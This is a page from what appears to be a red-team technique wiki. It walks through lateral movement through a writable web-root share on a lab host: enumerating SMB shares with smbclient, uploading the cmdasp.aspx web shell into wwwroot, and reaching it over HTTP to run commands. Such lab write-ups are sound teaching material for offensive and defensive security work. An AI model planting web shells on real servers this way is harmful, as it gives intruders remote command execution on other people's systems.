Red Teaming Experiments
Red Teaming Experiments
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Pentesting Cheatsheets
Active Directory & Kerberos Abuse
offensive security
Red Team Infrastructure
Initial Access
Code Execution
Code & Process Injection
Defense Evasion
Enumeration and Discovery
Privilege Escalation
Credential Access & Dumping
Lateral Movement
WinRM for Lateral Movement
WinRS for Lateral Movement
WMI for Lateral Movement
RDP Hijacking for Lateral Movement with tscon
Shared Webroot
Lateral Movement via DCOM
WMI + MSI Lateral Movement
Lateral Movement via Service Configuration Manager
Lateral Movement via SMB Relaying
WMI + NewScheduledTaskAction Lateral Movement
WMI + PowerShell Desired State Configuration Lateral Movement
Simple TCP Relaying with NetCat
Empire Shells with NetNLTMv2 Relaying
Lateral Movement with Psexec
From Beacon to Interactive RDP Session
SSH Tunnelling / Port Forwarding
Lateral Movement via WMI Event Subscription
Lateral Movement via DLL Hijacking
Lateral Movement over headless RDP with SharpRDP
ShadowMove: Lateral Movement by Duplicating Existing Sockets
Persistence
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reversing, forensics & misc
Internals
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Neo4j
Dump Virtual Box Memory
AES Encryption Using Crypto++ .lib in Visual Studio C++
Reversing Password Checking Routine
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Shared Webroot

Lateral Movement

Execution

Enumerating victim host 10.0.0.6 for any shares:

[email protected]
smbclient -L //10.0.0.6 -U spot
​
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\spot's password: 
​
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	CertEnroll      Disk      Active Directory Certificate Services share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
	temp            Disk      
	tools           Disk      
	transcripts     Disk      
	wwwroot         Disk

Logging in to the wwwroot share:

[email protected]
smbclient //10.0.0.6/wwwroot -U spot
​
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\spot's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Aug 25 16:57:52 2018
  ..                                  D        0  Sat Aug 25 16:57:52 2018
  aspnet_client                       D        0  Tue Jul 31 20:11:20 2018
  iis-85.png                          A    99710  Tue Jul 31 19:35:48 2018
  iisstart.htm                        A        3  Tue Jul 31 19:38:23 2018

Uploading a webshell into the wwwroot:

put /usr/share/webshells/aspx/cmdasp.aspx c.aspx
​
putting file /usr/share/webshells/aspx/cmdasp.aspx as \c.aspx (341.8 kb/s) (average 341.8 kb/s)
smb: \> ls
  .                                   D        0  Sat Aug 25 16:59:47 2018
  ..                                  D        0  Sat Aug 25 16:59:47 2018
  aspnet_client                       D        0  Tue Jul 31 20:11:20 2018
  c.aspx                              A     1400  Sat Aug 25 16:59:47 2018
  iis-85.png                          A    99710  Tue Jul 31 19:35:48 2018
  iisstart.htm                        A        3  Tue Jul 31 19:38:23 2018
​
		6463487 blocks of size 4096. 3032260 blocks available

Same as above in a picture:

Attacker can now access the newly uploaded webshell via http://10.0.0.6/c.aspx and start executing commands:

Observations

See T1108: Webshells for observations:

References

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RDP Hijacking for Lateral Movement with tscon
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Lateral Movement via DCOM
Last updated 3 years ago
Contents
Execution
Observations
References